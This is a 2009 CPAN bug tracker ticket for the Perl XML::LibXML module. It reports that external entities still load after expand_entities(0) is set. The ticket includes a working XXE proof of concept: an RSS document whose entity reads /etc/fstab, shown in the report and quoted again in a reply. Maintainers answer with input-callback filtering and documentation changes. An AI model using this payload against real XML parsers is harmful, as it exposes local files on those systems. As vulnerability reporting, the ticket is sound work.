Bug #48252 for XML-LibXML: $parser->expand_entities(0) allows entity expansion in findvalue(), elsehwere?

Mon Jul 27 18:42:29 2009 RCAPUTO [...] cpan.org - Ticket created

Subject:

$parser->expand_entities(0) allows entity expansion in findvalue(), elsehwere?

The following malicious RSS exposes the contents of /etc/fstab despite expand_entities(0) having been called. $d->toString() correctly leaves the entity unexpanded, but $d->findvalue() still expands external entities. The RSS example is based on this year-old article: http://searchsecuritychannel.techtarget.com/generic/0,295582,sid97_gci1304703,00.html #!perl use warnings; use strict; use XML::LibXML; my $p = XML::LibXML->new(); $p->expand_entities(0); $p->no_network(1); my $d = $p->parse_string(do { local $/; <DATA> }); print $d->findvalue("//description"), "\n"; exit; __DATA__ <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY fstab SYSTEM "file:/etc/fstab"> <!ENTITY fstab2 SYSTEM "file:///etc/fstab"> ]> <rss version="2.0"> <channel> <title>My attack RSS feed showing /etc/fstab</title> <description>this is file:/etc/fstab: &fstab; and this is file:///etc/fstab: &fstab;</description> <item> <title>/etc/fstab</title> <description>file:/etc/fstab: &fstab; file:///etc/fstab: fstab;</description> <link>http://example.com</link> </item> </channel> </rss>

Mon Jul 27 20:06:59 2009 RCAPUTO [...] cpan.org - Correspondence added

I am currently working around the issue by rejecting documents that declare entities: my @entity_declarations = ( grep { $_->nodeType() == XML_ENTITY_DECL } map { $_->childNodes() } grep { $_->nodeType() == XML_DTD_NODE } $parsed_document->childNodes() ); if (@entity_declarations) { die "Possible exploit attempt - input file contains declares entities"; }

Mon Jul 27 20:10:46 2009 pajas [...] matfyz.cz - Correspondence added

Dne po 27.čec.2009 18:42:29, RCAPUTO napsal(a): Show quoted text

> The following malicious RSS exposes the contents of /etc/fstab despite > expand_entities(0) having been called. $d->toString() correctly > leaves > the entity unexpanded, but $d->findvalue() still expands external > entities. The RSS example is based on this year-old article: >

http://searchsecuritychannel.techtarget.com/generic/0,295582,sid97_gci1304703,00.html You are misinterpreting the expand_entities flag. Expanding and loading entities are two completely different things. An unexpanded entity still contains data (as a subtree). What you need is using XML::LibXML::InputCallback to filter out URLs you don't want to parse, as in my $c = XML::LibXML::InputCallback->new(); $c->register_callbacks([ sub { ($_[0]=~m{^file:/} and $_[0]!~m{^file:///etc/xml/}) ? 1 : 0 }, sub{}, sub{}, sub{}]); $p->input_callbacks($c); where the file:/ scheme is bypassed to return no data is, except for file:///etc/xml/* where the parser is allowed to look for catalogs. -- Petr Show quoted text

> #!perl > > use warnings; > use strict; > > use XML::LibXML; > my $p = XML::LibXML->new(); > > $p->expand_entities(0); > $p->no_network(1); > > my $d = $p->parse_string(do { local $/; <DATA> }); > print $d->findvalue("//description"), "\n"; > exit; > > __DATA__ > <?xml version="1.0" encoding="ISO-8859-1"?> > <!DOCTYPE foo [ > <!ENTITY fstab SYSTEM "file:/etc/fstab"> > <!ENTITY fstab2 SYSTEM "file:///etc/fstab"> > ]> > <rss version="2.0"> > <channel> > <title>My attack RSS feed showing /etc/fstab</title> > <description>this is file:/etc/fstab: &fstab; and this is > file:///etc/fstab: &fstab;</description> > <item> > <title>/etc/fstab</title> > <description>file:/etc/fstab: &fstab; file:///etc/fstab: > fstab;</description> > <link>http://example.com</link> > </item> > </channel> > </rss>

Mon Jul 27 20:10:48 2009 The RT System itself - Status changed from 'new' to 'open'

Mon Jul 27 20:10:50 2009 pajas [...] matfyz.cz - Status changed from 'open' to 'rejected'

Tue Jul 28 01:57:26 2009 christian.glahn [...] lo-f.at - Correspondence added

Subject:	Re: [rt.cpan.org #48252] $parser->expand_entities(0) allows entity expansion in findvalue(), elsehwere?
Date:	Tue, 28 Jul 2009 07:56:51 +0200
To:	bug-XML-LibXML [...] rt.cpan.org
From:	Christian Glahn <christian.glahn [...] lo-f.at>

If you want to avoid possible exploits your code is a really bad solution because it tests for the exploit _after_ it took place. What you should consider is to avoid the possible exploit all together. Petr's simple example for the callback system points you towards a correct solution. Furthermore, you seem to confuse different document models, namely the XML concepts, DOM (Level 1,2,and 3), and the document model of XPath. Remind that they are not the same. Also note that XML and DOM are aware of entities, while the XPath document model is not. In case you like to expose the entities as text values (namely as "&entity;"), you should try your own callback handlers that do the trick during parsing and document serialization (but be aware that this is a hairy thing to mess with). Show quoted text

-----Original Message----- From: Rocco Caputo via RT <bug-XML-LibXML@rt.cpan.org> Reply-to: bug-XML-LibXML@rt.cpan.org To: undisclosed-recipients : ; Subject: [rt.cpan.org #48252] $parser->expand_entities(0) allows entity expansion in findvalue(), elsehwere? Date: Mon, 27 Jul 2009 20:07:00 -0400 Queue: XML-LibXML Ticket <URL: https://rt.cpan.org/Ticket/Display.html?id=48252 > I am currently working around the issue by rejecting documents that declare entities: my @entity_declarations = ( grep { $_->nodeType() == XML_ENTITY_DECL } map { $_->childNodes() } grep { $_->nodeType() == XML_DTD_NODE } $parsed_document->childNodes() ); if (@entity_declarations) { die "Possible exploit attempt - input file contains declares entities"; }

Tue Jul 28 01:57:27 2009 The RT System itself - Status changed from 'rejected' to 'open'

Thu Sep 24 10:12:21 2009 pajas [...] matfyz.cz - Correspondence added

Ok, I'm solving this bug having done the following: 1) mentioned this explicitly in the POD for expand_entities 2) documenting ext_end_handler parser flag, which can be used in some cases to prevent the entities from being expanded 3) mentioned the solution using input callbacks in the documentation The respective changes are in SVN. -- Petr On Tue Jul 28 01:57:26 2009, christian.glahn@lo-f.at wrote: Show quoted text

> If you want to avoid possible exploits your code is a really bad > solution because it tests for the exploit _after_ it took place. > > What you should consider is to avoid the possible exploit all together. > > Petr's simple example for the callback system points you towards a > correct solution. > > Furthermore, you seem to confuse different document models, namely the > XML concepts, DOM (Level 1,2,and 3), and the document model of XPath. > Remind that they are not the same. Also note that XML and DOM are aware > of entities, while the XPath document model is not. > > In case you like to expose the entities as text values (namely as > "&entity;"), you should try your own callback handlers that do the > trick during parsing and document serialization (but be aware that this > is a hairy thing to mess with). > > -----Original Message----- > From: Rocco Caputo via RT <bug-XML-LibXML@rt.cpan.org> > Reply-to: bug-XML-LibXML@rt.cpan.org > To: undisclosed-recipients : ; > Subject: [rt.cpan.org #48252] $parser->expand_entities(0) allows entity > expansion in findvalue(), elsehwere? > Date: Mon, 27 Jul 2009 20:07:00 -0400 > > Queue: XML-LibXML > Ticket <URL: https://rt.cpan.org/Ticket/Display.html?id=48252 > > > I am currently working around the issue by rejecting documents that > declare entities: > > my @entity_declarations = ( > grep { $_->nodeType() == XML_ENTITY_DECL } > map { $_->childNodes() } > grep { $_->nodeType() == XML_DTD_NODE } > $parsed_document->childNodes() > ); > if (@entity_declarations) { > die "Possible exploit attempt - input file contains declares entities"; > } >

Thu Sep 24 10:12:23 2009 pajas [...] matfyz.cz - Status changed from 'open' to 'resolved'